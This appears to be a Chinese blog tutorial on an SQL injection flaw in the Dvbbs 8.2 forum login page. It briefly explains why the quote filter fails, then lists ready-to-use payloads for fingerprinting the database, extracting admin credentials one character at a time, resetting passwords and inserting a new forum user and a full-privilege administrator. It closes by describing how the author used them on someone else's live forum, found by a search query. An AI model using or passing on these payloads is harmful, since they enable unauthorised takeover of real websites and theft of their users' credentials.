兩句話 動網(wǎng)8.20的后臺被拿下

[重要通告]如您遇疑難雜癥,本站支持知識付費業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時間哦!

dvbbs8.2漏洞補下載地址:

http://bbs.dvbbs.net/dispbbs.asp?boardid=8&;Id=1519564

緊急安全補丁0530
dvbbs8.2漏洞的產(chǎn)生

login.asp 這個文件的97行Function Dvbbs_ChkLogin 開始有以下代碼：

username=trim(Dvbbs.CheckStr(request("username")))

而passport和username是用戶輸入的。

Public Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
CheckStr = Replace(Str,"'","''")
End Function

動網(wǎng)用Checkstr進行處理。

當我們輸入111'，request("username")是111%27

Dvbbs.CheckStr(request("passport"))以后還是111%27
If ajaxPro Then username = unescape(username)

username就變成了111'

所以，【'】符號并沒有過濾掉，漏洞就產(chǎn)生了。
------------------------------------------------
搜索:Powered By Dvbbs Version 8.2.0 有很多用存在這樣漏洞的BBS
對于新手,分析過程比較復(fù)雜,特別是語句的組合,看了我的這個教程,基本上在一分鐘之內(nèi)就可以搞定.
admin' and '1'='1 用戶名或者密碼不正確.
admin' and '1'='2 本論壇不存在該用戶名.
判斷數(shù)據(jù)庫類型:
;and (select count(*) from sysobjects)>0
;and (select count(*) from msysobjects)>0

admin' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1

admin' and 1=(select count(*) from dv_admin where left(password,1)='a') and '1'='1

' and (select @@version)>0--

' and (select is_srvrolemember('sysadmin'))>0--
' and (select IS_MEMBER('db_owner'))>0--

49ba59abbe56e057=123456
';update dv_user set password='49ba59abbe56e057' where username='sishui'--

';update dv_user set usergroupid=1 where username='sishui'--

bugtest';insert into dv_user (username,userpassword,usergroupid) values('sishui','49ba59abbe56e057','1')--

bugtest';insert into dv_admin (username,password,flag,adduser) values('sishui','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','sishui')--

為了省時間我就直接先找了個論壇測試，大家看操作就好，我們來到登陸頁面，這句話的意思就是在這個論壇里加入一個管理擁護， 我擁護名為sishui 密碼為123456 密碼是加密的， 我們來看看 下面的密碼隨便輸入 ，這個意思就是代表成功了，我們來登陸看看，看見了吧， 呵呵， 我們在來進后臺不成功， 為什么呢， 應(yīng)為剛剛我加入的是論壇管理， 沒有提到后臺管理，下面我們在來用代碼，提到后臺管理權(quán)限，我們來看代碼 意思就是把他的權(quán)限全部提升到45 ，我們來試試，好了，我們在登陸看，我們進來了，呵呵，。 好了就這樣...........

問題未解決？付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信

所寫所說，是心之所感，思之所悟，行之所得；文當無敷衍，落筆求簡潔。 以所舍，求所獲；有所依，方所成！